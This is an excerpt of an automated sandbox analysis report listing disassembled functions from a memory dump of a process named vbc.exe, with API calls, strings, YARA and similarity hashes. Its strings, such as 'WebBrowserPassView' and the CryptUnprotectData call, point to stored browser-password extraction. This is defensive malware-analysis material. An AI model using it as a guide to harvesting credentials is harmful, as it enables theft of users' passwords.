                                                                                                              • Instruction Fuzzy Hash: BC31A031900208EFDF04AF55CC86EEE7B75FF44320F10416AE905AB1E2DB75AA51DB98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A668 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ItemMenu$CountInfomemsetwcschr
                                                                                                              • String ID: 0$6
                                                                                                              • API String ID: 2029023288-3849865405
                                                                                                              • Opcode ID: 5536c3878cefa137b9e834622b73aa06c1352d4f7dca5f5f14b9808a57972f50
                                                                                                              • Instruction ID: 6379b183058c7bfcb2c9996af6a46f5bf8fbaffb9494aead0661b6c96fd4ce8b
                                                                                                              • Opcode Fuzzy Hash: 5536c3878cefa137b9e834622b73aa06c1352d4f7dca5f5f14b9808a57972f50
                                                                                                              • Instruction Fuzzy Hash: FF219A72505340ABD721DF55C84599BB7F8FB84745F044A3FFA84A2280E7B6CA10CB9A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407A1C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcscat$_snwprintfmemset
                                                                                                              • String ID: %2.2X
                                                                                                              • API String ID: 2521778956-791839006
                                                                                                              • Opcode ID: 23fbd524af4de12edaef0e362b86099d5f7adf1057b4181ed4aaf7bf29872c53
                                                                                                              • Instruction ID: ec6d441468c88601e944e5005585d56a697b1d5e2a610cd326798869af21cd90
                                                                                                              • Opcode Fuzzy Hash: 23fbd524af4de12edaef0e362b86099d5f7adf1057b4181ed4aaf7bf29872c53
                                                                                                              • Instruction Fuzzy Hash: 0F012D72E4431575F720AB519C46BBF73A89F40B19F10407FFC14A50C2EABCEA444A99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00441B86 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • wcscpy.MSVCRT ref: 00441B9B
                                                                                                              • wcscat.MSVCRT ref: 00441BAA
                                                                                                              • wcscat.MSVCRT ref: 00441BBB
                                                                                                              • wcscat.MSVCRT ref: 00441BCA
                                                                                                              • VerQueryValueW.VERSION(?,?,00000000,?), ref: 00441BE4
                                                                                                                • Part of subcall function 00407447: wcslen.MSVCRT ref: 0040744E
                                                                                                                • Part of subcall function 00407447: memcpy.MSVCRT ref: 00407464
                                                                                                                • Part of subcall function 00407511: lstrcpyW.KERNEL32(?,?), ref: 00407526
                                                                                                                • Part of subcall function 00407511: lstrlenW.KERNEL32(?), ref: 0040752D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcscat$QueryValuelstrcpylstrlenmemcpywcscpywcslen
                                                                                                              • String ID: \StringFileInfo\
                                                                                                              • API String ID: 393120378-2245444037
                                                                                                              • Opcode ID: cb6593bce41ce7101ed3919308bda3c7e7c8e8e4aeb4a4d700e0b9c8d6b6edb1
                                                                                                              • Instruction ID: a565dbaf5ef1236623e3a457584e7ee1bc303587053621a732091bcd91b9d386
                                                                                                              • Opcode Fuzzy Hash: cb6593bce41ce7101ed3919308bda3c7e7c8e8e4aeb4a4d700e0b9c8d6b6edb1
                                                                                                              • Instruction Fuzzy Hash: 27017C7290020CB6EF51EAA1CD45EDF77BCAF04308F4005A7B514E2052EB78DB86AB59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A497 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _snwprintfwcscpy
                                                                                                              • String ID: dialog_%d$general$menu_%d$strings
                                                                                                              • API String ID: 999028693-502967061
                                                                                                              • Opcode ID: 8becf3e9218155cd2e90e25ed978c4695a92d6ded04a6fa8cdd08c494461b467
                                                                                                              • Instruction ID: 8e174b2d8d79018ad6e296a97c01706163ed31911536b8ede193c50f01e1bc5f
                                                                                                              • Opcode Fuzzy Hash: 8becf3e9218155cd2e90e25ed978c4695a92d6ded04a6fa8cdd08c494461b467
                                                                                                              • Instruction Fuzzy Hash: CBE0B679A8830079F96025861E4BB2E61508774F59FB0886FF50AB05D1E9FE95A8710F
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00412BDF Relevance: 10.5, APIs: 2, Strings: 5, Instructions: 21COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy
                                                                                                              • String ID: !-A$Y,A$a,A$a,A$,A
                                                                                                              • API String ID: 3510742995-194831239
                                                                                                              • Opcode ID: 222890697f8a5ff6857447b5b90ef297a0c92120cc092e5eca8f4e6b223797c7
                                                                                                              • Instruction ID: c1edbe63f0487e6d5a9ef4690cfcbd933ff0b0d7cc0200e8d9d6566c39fc0ab4
                                                                                                              • Opcode Fuzzy Hash: 222890697f8a5ff6857447b5b90ef297a0c92120cc092e5eca8f4e6b223797c7
                                                                                                              • Instruction Fuzzy Hash: C8E04F35980610EAF330DB459C07B863394A796756F50C43BF508A6193C6FC599C8B9D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00428591 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 217COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset
                                                                                                              • String ID: 8$GROUP$ORDER$a GROUP BY clause is required before HAVING$aggregate functions are not allowed in the GROUP BY clause
                                                                                                              • API String ID: 2221118986-1606337402
                                                                                                              • Opcode ID: 46f26c3fdd6910b4d7312f8d71752383c86baf733d40e003e56e3ea4decbe60e
                                                                                                              • Instruction ID: a56ed1d78848c17894bc611d03527086a745bd119e00672256ad5f5daa2e3940
                                                                                                              • Opcode Fuzzy Hash: 46f26c3fdd6910b4d7312f8d71752383c86baf733d40e003e56e3ea4decbe60e
                                                                                                              • Instruction Fuzzy Hash: 93818E706093619FDB10DF15E88161FB7E0BF98354F94885FE8849B252EB78EC44CB9A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410EDB Relevance: 9.1, APIs: 6, Instructions: 141COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,0040F96C,00000000,00000000), ref: 00410F16
                                                                                                              • memset.MSVCRT ref: 00410F78
                                                                                                              • memset.MSVCRT ref: 00410F88
                                                                                                                • Part of subcall function 00410DF5: wcscpy.MSVCRT ref: 00410E1E
                                                                                                              • memset.MSVCRT ref: 00411073
                                                                                                              • wcscpy.MSVCRT ref: 00411094
                                                                                                              • CloseHandle.KERNEL32(?), ref: 004110EA
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$wcscpy$CloseHandleOpenProcess
                                                                                                              • String ID:
                                                                                                              • API String ID: 3300951397-0
                                                                                                              • Opcode ID: b54469c95767e19cd25d0ac2b448a79aecc0fd22ddb34440915382161dbe33e5
                                                                                                              • Instruction ID: ff77c4a4bb0d76b6113ba9f034b07e179d87586f5f3f4fadb46fa2bb0041fc85
                                                                                                              • Opcode Fuzzy Hash: b54469c95767e19cd25d0ac2b448a79aecc0fd22ddb34440915382161dbe33e5
                                                                                                              • Instruction Fuzzy Hash: CB5170B0508381AFD720DF55DC85A9BBBE8FBC8305F00492EF68882261DB74D985CB66
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D53E Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 78COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040D560
                                                                                                                • Part of subcall function 00409FF5: GetModuleHandleW.KERNEL32(00000000,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A034
                                                                                                                • Part of subcall function 00409FF5: LoadStringW.USER32(00000000,00000007,00000FFF,?), ref: 0040A0CD
                                                                                                                • Part of subcall function 00409FF5: memcpy.MSVCRT ref: 0040A10D
                                                                                                                • Part of subcall function 00409FF5: wcscpy.MSVCRT ref: 0040A076
                                                                                                                • Part of subcall function 00409FF5: wcslen.MSVCRT ref: 0040A094
                                                                                                                • Part of subcall function 00409FF5: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A0A2
                                                                                                                • Part of subcall function 00407CFE: memset.MSVCRT ref: 00407D1F
                                                                                                                • Part of subcall function 00407CFE: _snwprintf.MSVCRT ref: 00407D52
                                                                                                                • Part of subcall function 00407CFE: wcslen.MSVCRT ref: 00407D5E
                                                                                                                • Part of subcall function 00407CFE: memcpy.MSVCRT ref: 00407D76
                                                                                                                • Part of subcall function 00407CFE: wcslen.MSVCRT ref: 00407D84
                                                                                                                • Part of subcall function 00407CFE: memcpy.MSVCRT ref: 00407D97
                                                                                                                • Part of subcall function 00407B1D: GetSaveFileNameW.COMDLG32(?), ref: 00407B6C
                                                                                                                • Part of subcall function 00407B1D: wcscpy.MSVCRT ref: 00407B83
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpywcslen$HandleModulememsetwcscpy$FileLoadNameSaveString_snwprintf
                                                                                                              • String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
                                                                                                              • API String ID: 1392923015-3614832568
                                                                                                              • Opcode ID: 380410c26e3291804c03af3795505405ed94cd18fa0364bdc388fa92e87f834b
                                                                                                              • Instruction ID: 456ec3227f593179f02471f626d387f8bd8a0122acdd439c58b7a13f613657e4
                                                                                                              • Opcode Fuzzy Hash: 380410c26e3291804c03af3795505405ed94cd18fa0364bdc388fa92e87f834b
                                                                                                              • Instruction Fuzzy Hash: 6131FAB1D002599BDB50EFA9D8C1AEDBBB4FF09314F10417AF508B7282DF385A458B99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00415DF9 Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00415E2B
                                                                                                              • GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 00415E39
                                                                                                              • free.MSVCRT(00000000), ref: 00415E7F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AttributesFilefreememset
                                                                                                              • String ID:
                                                                                                              • API String ID: 2507021081-0
                                                                                                              • Opcode ID: e3e327bc7edfa6d214c9f68350b0f1db51016015cf148b15bb91f804a777c83b
                                                                                                              • Instruction ID: de39e7dabe3dcffc9507685f2d24beb71d21f2267e90135c35d9c9407e9ebe28
                                                                                                              • Opcode Fuzzy Hash: e3e327bc7edfa6d214c9f68350b0f1db51016015cf148b15bb91f804a777c83b
                                                                                                              • Instruction Fuzzy Hash: B111A236D04B05EBDB106FB498C06FF7368AA85754B54013BF911E6280D7789F8195AA
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00414D24 Relevance: 9.1, APIs: 6, Instructions: 61COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • AreFileApisANSI.KERNEL32 ref: 00414D2B
                                                                                                              • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 00414D49
                                                                                                              • malloc.MSVCRT ref: 00414D53
                                                                                                              • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 00414D6A
                                                                                                              • free.MSVCRT(?), ref: 00414D73
                                                                                                              • free.MSVCRT(?,?), ref: 00414D91
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharMultiWidefree$ApisFilemalloc
                                                                                                              • String ID:
                                                                                                              • API String ID: 4131324427-0
                                                                                                              • Opcode ID: 5d2fa95a5ae56aca068832dc9df58c4b26db0adcf1ab4a8fdf40dc6136318e35
                                                                                                              • Instruction ID: 75ff5f127907765bac19b59c8f0cf631f86937604d45831965c424c16304f1b7
                                                                                                              • Opcode Fuzzy Hash: 5d2fa95a5ae56aca068832dc9df58c4b26db0adcf1ab4a8fdf40dc6136318e35
                                                                                                              • Instruction Fuzzy Hash: 3501D4725041257BAF225BB6AC41DFF369CDF857B4721022AFC04E3280EA288E4141EC
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004159C6 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetTempPathW.KERNEL32(000000E6,?), ref: 00415A0A
                                                                                                              • GetTempPathA.KERNEL32(000000E6,?), ref: 00415A32
                                                                                                              • free.MSVCRT(00000000,0044A338,00000000), ref: 00415A5A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PathTemp$free
                                                                                                              • String ID: %s\etilqs_$etilqs_
                                                                                                              • API String ID: 924794160-1420421710
                                                                                                              • Opcode ID: c9ef72f7e900502d242bf52f2b84dfc3543ee2498ca2d646e121c62c04ad21fe
                                                                                                              • Instruction ID: 407cf19e3f66aff666bf3235626637e86bc259e86a40955958787b48e693a0c3
                                                                                                              • Opcode Fuzzy Hash: c9ef72f7e900502d242bf52f2b84dfc3543ee2498ca2d646e121c62c04ad21fe
                                                                                                              • Instruction Fuzzy Hash: 80316831A44645DAE720EB61DCC1BFB739C9FA4348F1405BFE841D6182FE6C8EC54A19
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040C0F2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407176: wcslen.MSVCRT ref: 00407183
                                                                                                                • Part of subcall function 00407176: WriteFile.KERNEL32(00000001,00000000,00000000,00000000,00000000), ref: 00407192
                                                                                                              • memset.MSVCRT ref: 0040C129
                                                                                                                • Part of subcall function 004124C0: memcpy.MSVCRT ref: 0041253D
                                                                                                                • Part of subcall function 0040B9C3: wcscpy.MSVCRT ref: 0040B9C8
                                                                                                                • Part of subcall function 0040B9C3: _wcslwr.MSVCRT ref: 0040BA03
                                                                                                              • _snwprintf.MSVCRT ref: 0040C173
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileWrite_snwprintf_wcslwrmemcpymemsetwcscpywcslen
                                                                                                              • String ID: <%s>%s</%s>$</item>$<item>
                                                                                                              • API String ID: 2236007434-2769808009
                                                                                                              • Opcode ID: 438c6ceffbcd68a890abf2b9136991ccf46c150bae825d1d06f9ba09c855681a
                                                                                                              • Instruction ID: bd8afa7c54c2b984639c4d8fb182e53c6b214fce1ab7be0445daf1b4a409d2ac
                                                                                                              • Opcode Fuzzy Hash: 438c6ceffbcd68a890abf2b9136991ccf46c150bae825d1d06f9ba09c855681a
                                                                                                              • Instruction Fuzzy Hash: 82119132904615BFEB11AF65DC82E99BB74FF04318F10402AF9046A5E2DB75B960CBD8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D83C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 56COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040D86C
                                                                                                                • Part of subcall function 0040757A: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040AB83,00000000,0040AA36,?,00000000,00000208,?), ref: 00407585
                                                                                                              • wcsrchr.MSVCRT ref: 0040D886
                                                                                                              • wcscat.MSVCRT ref: 0040D8A2
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileModuleNamememsetwcscatwcsrchr
                                                                                                              • String ID: .cfg$General
                                                                                                              • API String ID: 776488737-1188829934
                                                                                                              • Opcode ID: e11df5378bc83a8aaf871442e4d8661d85e0e936ac587c009724adb380b412fa
                                                                                                              • Instruction ID: b769b6074c2bbd437ee926744873151467191c08e4afcaaf49059e595a4f98b4
                                                                                                              • Opcode Fuzzy Hash: e11df5378bc83a8aaf871442e4d8661d85e0e936ac587c009724adb380b412fa
                                                                                                              • Instruction Fuzzy Hash: 34119877901318AADB10EF55DC45ECE7378AF48314F1041F6F518A7182DB78AA848F9D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E030 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetModuleHandleW.KERNEL32(00000000,?,00000000), ref: 0040E051
                                                                                                              • RegisterClassW.USER32 ref: 0040E076
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 0040E07D
                                                                                                              • CreateWindowExW.USER32 ref: 0040E09C
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: HandleModule$ClassCreateRegisterWindow
                                                                                                              • String ID: WebBrowserPassView
                                                                                                              • API String ID: 2678498856-2171583229
                                                                                                              • Opcode ID: 968ab77318ecbfefce790601fd2619178d52abf01415595e0110a8aaad309429
                                                                                                              • Instruction ID: d6937ed4ed068f8a41babfbfc400960a7e9d41ce1fcf29d78c1aeb4d070e2d0f
                                                                                                              • Opcode Fuzzy Hash: 968ab77318ecbfefce790601fd2619178d52abf01415595e0110a8aaad309429
                                                                                                              • Instruction Fuzzy Hash: 5301C4B1901629ABDB019F998D89ADFBFBCFF09B50F10421AF514A2240D7B45A408BE9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040C2C7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040C2EB
                                                                                                              • memset.MSVCRT ref: 0040C302
                                                                                                                • Part of subcall function 00407176: wcslen.MSVCRT ref: 00407183
                                                                                                                • Part of subcall function 00407176: WriteFile.KERNEL32(00000001,00000000,00000000,00000000,00000000), ref: 00407192
                                                                                                                • Part of subcall function 0040B9C3: wcscpy.MSVCRT ref: 0040B9C8
                                                                                                                • Part of subcall function 0040B9C3: _wcslwr.MSVCRT ref: 0040BA03
                                                                                                              • _snwprintf.MSVCRT ref: 0040C33E
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$FileWrite_snwprintf_wcslwrwcscpywcslen
                                                                                                              • String ID: <%s>$<?xml version="1.0" ?>
                                                                                                              • API String ID: 168708657-3296998653
                                                                                                              • Opcode ID: a73eef4ca532f3c806c8f7c4fb546103b4f23db77d3a0b99a33ba88c35d7e7d6
                                                                                                              • Instruction ID: 826567bfe222e6a97a7157a9ef984588091dd6de8d25c20f5ec279ce0d2f683a
                                                                                                              • Opcode Fuzzy Hash: a73eef4ca532f3c806c8f7c4fb546103b4f23db77d3a0b99a33ba88c35d7e7d6
                                                                                                              • Instruction Fuzzy Hash: 780167F2D401297AEB20A755CC46FEE767CEF44308F0000B6BB09B61D1DB78AA458A9D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00403853 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadLibraryW.KERNEL32(crypt32.dll,?,00000000,004026AC,?,00000090,00000000,?), ref: 00403862
                                                                                                              • GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00403874
                                                                                                              • FreeLibrary.KERNEL32(00000000), ref: 00403897
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$AddressFreeLoadProc
                                                                                                              • String ID: CryptUnprotectData$crypt32.dll
                                                                                                              • API String ID: 145871493-1827663648
                                                                                                              • Opcode ID: 2c4a40dc8dba4f0dc647d95a29ca81113139f6a9c6e20ee821370f4bbf0a04ed
                                                                                                              • Instruction ID: e5a88ed766aaa6e52f35248584035ac6595561cae6bd6684aeb1aa38a92ec81b
                                                                                                              • Opcode Fuzzy Hash: 2c4a40dc8dba4f0dc647d95a29ca81113139f6a9c6e20ee821370f4bbf0a04ed
                                                                                                              • Instruction Fuzzy Hash: 0A011A32500611ABC6219F158C4881BFEEAEBA1B42724887FF1C5E2660C3748A80CB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411DB2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • wcscpy.MSVCRT ref: 00411DC1
                                                                                                              • wcscpy.MSVCRT ref: 00411DDC
                                                                                                              • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00411E03
                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00411E0A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcscpy$CloseCreateFileHandle
                                                                                                              • String ID: General
                                                                                                              • API String ID: 999786162-26480598
                                                                                                              • Opcode ID: cadc9dc89eee371cf065a8da49e6c42cc2605fbbb286be73d28d450c39e40844
                                                                                                              • Instruction ID: 9a0facac0be4658f1d28dd1d6e0b9c096870c14066d41f215ae7e32982aabb00
                                                                                                              • Opcode Fuzzy Hash: cadc9dc89eee371cf065a8da49e6c42cc2605fbbb286be73d28d450c39e40844
                                                                                                              • Instruction Fuzzy Hash: 9AF024B2508301BFF3109B90AC85EAF769CDB10799F20842FF20591061DA396D50825D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004071BD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetLastError.KERNEL32(00000000,?,0040C6FE,00000000,?,?,?,0040E2DC,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 004071D1
                                                                                                              • _snwprintf.MSVCRT ref: 004071FE
                                                                                                              • MessageBoxW.USER32 ref: 00407217
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ErrorLastMessage_snwprintf
                                                                                                              • String ID: Error$Error %d: %s
                                                                                                              • API String ID: 313946961-1552265934
                                                                                                              • Opcode ID: 61e844944dbca76b68da5b3baf56ea9390605b233e584b109607b5eb60119b4a
                                                                                                              • Instruction ID: 3b05860ebe56c522f2c5ab20428fa68284bb982c16b5ab54bfd07cc8ba07ffa8
                                                                                                              • Opcode Fuzzy Hash: 61e844944dbca76b68da5b3baf56ea9390605b233e584b109607b5eb60119b4a
                                                                                                              • Instruction Fuzzy Hash: 74F0E23680021867DB11AB94CC02FDA72ACBB54B82F0400AAB905F2180EAF4EB404A69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00412455 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadLibraryW.KERNEL32(shlwapi.dll,754B375A,?,004048E6,00000000), ref: 0041245E
                                                                                                              • GetProcAddress.KERNEL32(00000000,SHAutoComplete,?,004048E6,00000000), ref: 0041246C
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,004048E6,00000000), ref: 00412484
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Library$AddressFreeLoadProc
                                                                                                              • String ID: SHAutoComplete$shlwapi.dll
                                                                                                              • API String ID: 145871493-1506664499
